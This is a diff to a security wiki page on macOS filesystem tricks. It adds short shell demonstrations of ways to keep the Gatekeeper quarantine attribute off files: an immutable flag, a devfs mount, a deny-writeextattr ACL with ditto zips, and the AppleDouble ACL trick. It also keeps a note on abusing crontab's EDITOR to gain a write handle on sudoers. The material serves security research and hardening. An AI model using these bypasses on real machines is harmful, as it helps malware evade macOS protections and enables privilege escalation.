GITBOOK-4135: change request with no subject merged in GitBook

macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks.md

@@ -12,11 +12,70 @@
 
 </details>
 
-### Arbitrary FD
+## Arbitrary FD
 
 If you can make a **process open a file or a folder with high privileges**, you can abuse **`crontab`** to open a file in `/etc/sudoers.d` with **`EDITOR=exploit.py`**, so the `exploit.py` will get the FD to the file inside `/etc/sudoers` and abuse it.
 
-Like in [https://youtu.be/f1HA5QhLQ7Y?t=21098](https://youtu.be/f1HA5QhLQ7Y?t=21098)
+For example: [https://youtu.be/f1HA5QhLQ7Y?t=21098](https://youtu.be/f1HA5QhLQ7Y?t=21098)
+
+## Avoid quarantine xattrs tricks
+
+### uchg flag
+
+If a file/folder has this immutable attribute it won't be possible to put an xattr on it
+
+```bash
+echo asd > /tmp/asd
+chflags uchg /tmp/asd
+xattr -w com.apple.quarantine "" /tmp/asd
+xattr: [Errno 1] Operation not permitted: '/tmp/asd'
+```
+
+### defvfs mount
+
+A **devfs** mount **doesn't support xattr**, more info in [**CVE-2023-32364**](https://gergelykalman.com/CVE-2023-32364-a-macOS-sandbox-escape-by-mounting.html)
+
+```bash
+mkdir /tmp/mnt
+mount_devfs -o noowners none "/tmp/mnt"
+chmod 777 /tmp/mnt
+mkdir /tmp/mnt/lol
+xattr -w com.apple.quarantine "" /tmp/mnt/lol
+xattr: [Errno 1] Operation not permitted: '/tmp/mnt/lol'
+```
+
+### writeextattr ACL
+
+This ACL prevents from adding `xattrs` to the file
+
+```bash
+rm -rf /tmp/test*
+echo test >/tmp/test
+chmod +a "everyone deny write,writeattr,writeextattr,writesecurity,chown" /tmp/test
+ls -le /tmp/test
+ditto -c -k test test.zip
+# Download the zip from the browser and decompress it, the file should be without a quarantine xattr
+
+cd /tmp
+echo y | rm test
+
+# Decompress it with ditto
+ditto -x -k --rsrc test.zip .
+ls -le /tmp/test
+
+# Decompress it with open (if sandboxed decompressed files go to the Downloads folder)
+open test.zip
+sleep 1
+ls -le /tmp/test
+```
+
+### **com.apple.acl.text entitlement**
+
+**AppleDouble** file format copies a file including its ACEs.
+
+In the [**source code**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html) it's possible to see that the ACL text representation stored inside the xattr called **`com.apple.acl.text`**  is going to be set as ACL in the decompressed file. So, if you compressed an application into a zip file with **AppleDouble** file format with an ACL that prevents other xattrs to be written to it... the quarantine xattr wasn't set into de application:
+
+Check the [**original report**](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/) for more information.
 
 <details>